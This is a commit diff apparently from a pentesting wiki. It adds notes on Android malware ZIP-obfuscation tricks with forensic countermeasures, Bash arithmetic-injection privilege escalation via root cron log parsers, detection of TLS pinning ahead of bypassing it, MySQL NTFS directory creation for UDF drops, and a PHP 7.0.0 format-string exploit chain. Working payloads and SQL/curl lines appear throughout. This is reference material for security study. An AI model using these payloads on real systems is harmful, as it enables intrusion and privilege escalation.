You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
+160-3Lines changed: 160 additions & 3 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -14,11 +14,168 @@ The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestud
14
14
15
15
It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data.
Modern Android malware droppers use malformed ZIP metadata to break static tools (jadx/apktool/unzip) while keeping the APK installable on-device. The most common tricks are:
22
+
23
+
- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0
24
+
- Abusing large/custom Extra fields to confuse parsers
25
+
- File/directory name collisions to hide real artifacts (e.g., a directory named `classes.dex/` next to the real `classes.dex`)
26
+
27
+
### 1) Fake encryption (GPBF bit 0 set) without real crypto
-`unzip` prompts for a password for core APK files even though a valid APK cannot have encrypted `classes*.dex`, `resources.arsc`, or `AndroidManifest.xml`:
You should now see `General Purpose Flag 0000` on core entries and tools will parse the APK again.
106
+
107
+
### 2) Large/custom Extra fields to break parsers
108
+
109
+
Attackers stuff oversized Extra fields and odd IDs into headers to trip decompilers. In the wild you may see custom markers (e.g., strings like `JADXBLOCK`) embedded there.
22
110
111
+
Inspection:
23
112
113
+
```bash
114
+
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p'| head -n 50
115
+
```
116
+
117
+
Examples observed: unknown IDs like `0xCAFE` ("Java Executable") or `0x414A` ("JA:") carrying large payloads.
118
+
119
+
DFIR heuristics:
120
+
- Alert when Extra fields are unusually large on core entries (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
121
+
- Treat unknown Extra IDs on those entries as suspicious.
122
+
123
+
Practical mitigation: rebuilding the archive (e.g., re-zipping extracted files) strips malicious Extra fields. If tools refuse to extract due to fake encryption, first clear GPBF bit 0 as above, then repackage:
124
+
125
+
```bash
126
+
mkdir /tmp/apk
127
+
unzip -qq normalized.apk -d /tmp/apk
128
+
(cd /tmp/apk && zip -qr ../clean.apk .)
129
+
```
130
+
131
+
### 3) File/Directory name collisions (hiding real artifacts)
132
+
133
+
A ZIP can contain both a file `X` and a directory `X/`. Some extractors and decompilers get confused and may overlay or hide the real file with a directory entry. This has been observed with entries colliding with core APK names like `classes.dex`.
134
+
135
+
Triage and safe extraction:
136
+
137
+
```bash
138
+
# List potential collisions (names that differ only by trailing slash)
Copy file name to clipboardExpand all lines: src/linux-hardening/privilege-escalation/README.md
+26-1Lines changed: 26 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -416,6 +416,30 @@ Read the following page for more wildcard exploitation tricks:
416
416
wildcards-spare-tricks.md
417
417
{{#endref}}
418
418
419
+
420
+
### Bash arithmetic expansion injection in cron log parsers
421
+
422
+
Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs.
423
+
424
+
- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors.
425
+
426
+
- Typical vulnerable pattern:
427
+
```bash
428
+
#!/bin/bash
429
+
# Example: parse a log and "sum" a count field coming from the log
430
+
while IFS=','read -r ts user count rest;do
431
+
# count is untrusted if the log is attacker-controlled
432
+
(( total += count ))# or: let "n=$count"
433
+
done< /var/www/app/log/application.log
434
+
```
435
+
436
+
- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid.
437
+
```bash
438
+
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
Copy file name to clipboardExpand all lines: src/mobile-pentesting/android-app-pentesting/README.md
+59Lines changed: 59 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -444,6 +444,62 @@ Applications targeting **API Level 24 and above** require modifications to the N
444
444
445
445
If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs.
446
446
447
+
#### Static detection of SSL/TLS pinning
448
+
449
+
Before attempting runtime bypasses, quickly map where pinning is enforced in the APK. Static discovery helps you plan hooks/patches and focus on the right code paths.
450
+
451
+
Tool: SSLPinDetect
452
+
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
453
+
- Reports exact file path, line number, and a code snippet for each match.
454
+
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
#### Windows tip: create directories with NTFS ADS from SQL
293
+
294
+
On NTFS you can coerce directory creation using an alternate data stream even when only a file write primitive exists. If the classic UDF chain expects a `plugin` directory but it doesn’t exist and `@@plugin_dir` is unknown or locked down, you can create it first with `::$INDEX_ALLOCATION`:
295
+
296
+
```sql
297
+
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
298
+
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
299
+
```
300
+
301
+
This turns limited `SELECT ... INTO OUTFILE` into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops.
302
+
292
303
### Extracting MySQL credentials from files
293
304
294
305
Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint**
@@ -749,6 +760,7 @@ john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
749
760
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
750
761
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
751
762
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
763
+
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
Copy file name to clipboardExpand all lines: src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
+27-4Lines changed: 27 additions & 4 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -1,4 +1,4 @@
1
-
# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"])
1
+
# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
@@ -97,11 +97,34 @@ It's noted that PHP temporarily stores uploaded files in `/tmp/phpXXXXXX`. The V
97
97
98
98
A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.
99
99
100
-
## References
100
+
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
When user input controls the class name (e.g., `new $_GET['model']()`), PHP 7.0.0 introduced a transient bug during the `Throwable` refactor where the engine mistakenly treated the class name as a printf format string during resolution. This enables classic printf-style primitives inside PHP: leaks with `%p`, write-count control with width specifiers, and arbitrary writes with `%n` against in-process pointers (for example, GOT entries on ELF builds).
- Leak addresses via `%p` in the class name to find a writable target:
114
+
```bash
115
+
curl "http://host/index.php?model=%p-%p-%p"
116
+
# Fatal error includes resolved string with leaked pointers
117
+
```
118
+
- Use positional parameters and width specifiers to set an exact byte-count, then `%n` to write that value to an address reachable on the stack, aiming at a GOT slot (e.g., `free`) to partially overwrite it to `system`.
119
+
- Trigger the hijacked function by passing a class name containing a shell pipe to reach `system("id")`.
105
120
121
+
Notes:
122
+
- Works only on PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); fixed in subsequent releases. Severity: critical if arbitrary class instantiation exists.
123
+
- Typical payloads chain many `%p` to walk the stack, then `%.<width>d%<pos>$n` to land the partial overwrite.
0 commit comments